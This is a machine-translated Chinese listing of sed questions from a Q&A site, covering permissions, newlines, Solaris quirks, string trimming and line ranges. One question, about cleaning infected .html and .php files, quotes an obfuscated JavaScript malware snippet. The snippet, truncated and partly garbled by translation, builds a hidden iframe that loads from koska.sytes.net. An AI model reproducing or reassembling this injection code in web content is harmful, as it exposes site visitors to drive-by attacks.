标签: sed

使用 Sed 时权限被拒绝

我正在使用 Sed 查找和替换文件中的字符串。这是第一次使用它,所以我可能做错了,

我有一个名为“test.properties”的“root”拥有的文件,我想用“cat”替换“world”。

所以我运行这个命令:

sudo sed s/world/cat/ <test.properties >newtest.properties
Run Code Online (Sandbox Code Playgroud)

它工作得很好,但是当我想像这样写入相同的文件时:

sudo sed s/world/cat/ <test.properties >test.properties
Run Code Online (Sandbox Code Playgroud)

它说“-bash:test.properties:权限被拒绝”,但我使用的是“sudo”,为什么它被拒绝了?

permissions bash sed

3
推荐指数
2
解决办法
2万
查看次数

在从 linux 生成的电子邮件中获取正确的换行符

我有一个脚本可以通过电子邮件将某些 linux 日志条目发送给我,并且我在 MS Outlook 中阅读了该电子邮件。

问题是所有行都一起运行,行之间没有换行符。

为了解决这个问题,我在邮件命令之前插入了sed "s/$/\n/",但这给了我电子邮件中每行之间的 2 个换行符

在每行之间获得单个换行符的正确方法是什么(使用 sed)

email scripting log-files formatting sed

2
推荐指数
2
解决办法
1934
查看次数

如何使用 sed 删除多个文件中的恶意软件代码?

我在服务器上的许多 .html 和 .php 文件中都有这个恶意软件代码。我需要使用删除它们

  • sed -i expression
  • 搜索目录下的所有文件 /home/
  • 找到受感染的文件
  • 通过用空格替换它来删除代码

    VAR usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66'; VAR nimbchnzujc = 'PaBUTyjaZYg72'; VAR szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22'; VAR xwojmnoxfbs ='PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22' ; VAR mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f'; VAR nixyhgyjouf =“koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = '';VAR rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR niupgeebkhf = ''; VAR yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';VAR tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61'; VAR zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e'; VAR yydszqnduko =新的Array(); yydszqnduko [0] =新阵列(usikwseoomg + nimbchnzujc + szwtgmqzekr + yvofadunjkv + ylydzxyjaci + xwojmnoxfbs …

linux grep sed

2
推荐指数
1
解决办法
2230
查看次数

sed + 不适用于solaris

我在 Solaris 机器和 Linux 机器上运行以下 sed 语法

在 Linux 机器上 sed 执行删除所有字符直到第一个数字的工作。

但是为什么这个 sed 语法在 Solaris 上不起作用?

我需要在 sed 语法中更改什么才能在 Solaris 上运行它?

在solaris上(sed - 在第一个数字之前不删除字符串?)

   solaris:/ ROOT > echo "Release............5.3.7.1-12"  | sed 's/[^0-9]\+//'

   Release............5.3.7.1-12
Run Code Online (Sandbox Code Playgroud)

在 linux 上(我得到了很好的结果)

  linux tmp]# echo "Linux Release............5.3.7.1-12"  | sed 's/[^0-9]\+//'

  5.3.7.1-12
Run Code Online (Sandbox Code Playgroud)

linux solaris sed

2
推荐指数
1
解决办法
1731
查看次数

sed + 如何删除特定字符后的最后一个字符串

如何删除“。”之后的最后一个字符串 字符包括“。” 性格本身

Linux/Solaris操作系统下可以用sed实现

更改前的 IP 地址示例

      192.9.200.1     ( need to remove the .1 )
Run Code Online (Sandbox Code Playgroud)

预期成绩

      192.9.200
Run Code Online (Sandbox Code Playgroud)

另一个例子

      100.2.2.101FFF
Run Code Online (Sandbox Code Playgroud)

预期成绩

      100.2.2
Run Code Online (Sandbox Code Playgroud)

linux solaris ksh sed

2
推荐指数
2
解决办法
2万
查看次数

使用 sed 插入长字符串

我正在尝试使用此表达式在给定字符串之后将一个文本文件的内容插入到另一个文本文件中。这是一个简单的 bash 脚本:

    TEXT=`cat file1.txt`
    sed -i "/teststring/a \
    $TEXT" file2.txt
Run Code Online (Sandbox Code Playgroud)

这将返回错误,“sed:-e 表达式 #1,字符 37:未知命令:`M'”

问题在于 file1.txt 的内容实际上是一个私有证书,因此它包含大量文本和异常字符,这似乎导致了问题。如果我用一个简单的 ASCII 值替换 $TEXT ,它可以工作,但是当它读取 file1.txt 的大量内容时,它会因该错误而失败。

有什么方法可以执行此操作吗?我的语法是否与 sed 或我的引用位置错误有关?

unix bash sed

2
推荐指数
1
解决办法
1556
查看次数

bash 脚本 - 从第 N 行打印到 EOF

我希望能够打印 bash 中的行数:行号(从顶部开始计算)-> 文件结尾

似乎 tail 只会从底部开始计算行数。

有谁知道如何做到这一点?谢谢。

我试过以下

# Where $1 is the file I'm reading in

# Get line number of error:
LINENUM=$( grep -n "$LAST_ERROR_DATE" $1 | egrep $LOG_THRESHOLD | grep $LAST_HOUR: | sed 's/:/ /g' | awk '{print $1}' | head -n 1 )

echo $LINENUM

# This returns 995

# Print everything from linenumber downwards
MESSAGE=$( awk 'NR >= $LINENUM' $1 )
Run Code Online (Sandbox Code Playgroud)

当我手动弹出 995 到 awk 而不是 $LINENUM 时,这有效,它似乎没有读取我的 bash 变量。有任何想法吗?

bash awk sed unix-shell

1
推荐指数
1
解决办法
8257
查看次数

替换数据库的“替换字符”

由于一些编码问题,我的数据库中的某些字符被错误地解释。某些字符已被替换为“替换字符”。我需要找到所有这些字符并用空格替换它们。我一直在使用 sed、bash、perl 等搜索不同的解决方案,但没有成功。有人可以分享如何找到这样的字符(即在十六进制/八进制值中查找这个字符)并将它们替换为任何其他字符的解决方案吗?

谢谢。

sed

1
推荐指数
1
解决办法
279
查看次数

sed 内联替换,无需创建文件

在部署此文件之后,我试图在配置文件中进行替换内联。我查看了 sed 文档,但无法正常工作。即使使用 -e 现在我 mv 到 .back 文件,然后 sed 到文件,通过 rm 文件完成。我确信有一种更简单的方法可以做到这一点,但无法让它发挥作用。

谢谢

mv file.conf file.back sed s/string/anotherstring/file.back > file.conf rm file.back

sed

1
推荐指数
1
解决办法
1137
查看次数

删除每行的第一个和最后一个字符/sed

我需要 sed 删除该行的第一个和最后一个字符,例如源

(192.168.3.0)
Run Code Online (Sandbox Code Playgroud)

结果

192.168.3.0
Run Code Online (Sandbox Code Playgroud)

尝试这样:

sed 's/^.\(.*\).$/\1/'
Run Code Online (Sandbox Code Playgroud)

但它也会删除 0 个字符

如何避免这种行为?

linux bash sed

1
推荐指数
1
解决办法
1万
查看次数

标签 统计

sed ×10

bash ×4

linux ×4

solaris ×2

awk ×1

email ×1

formatting ×1

grep ×1

ksh ×1

log-files ×1

permissions ×1

scripting ×1

unix ×1

unix-shell ×1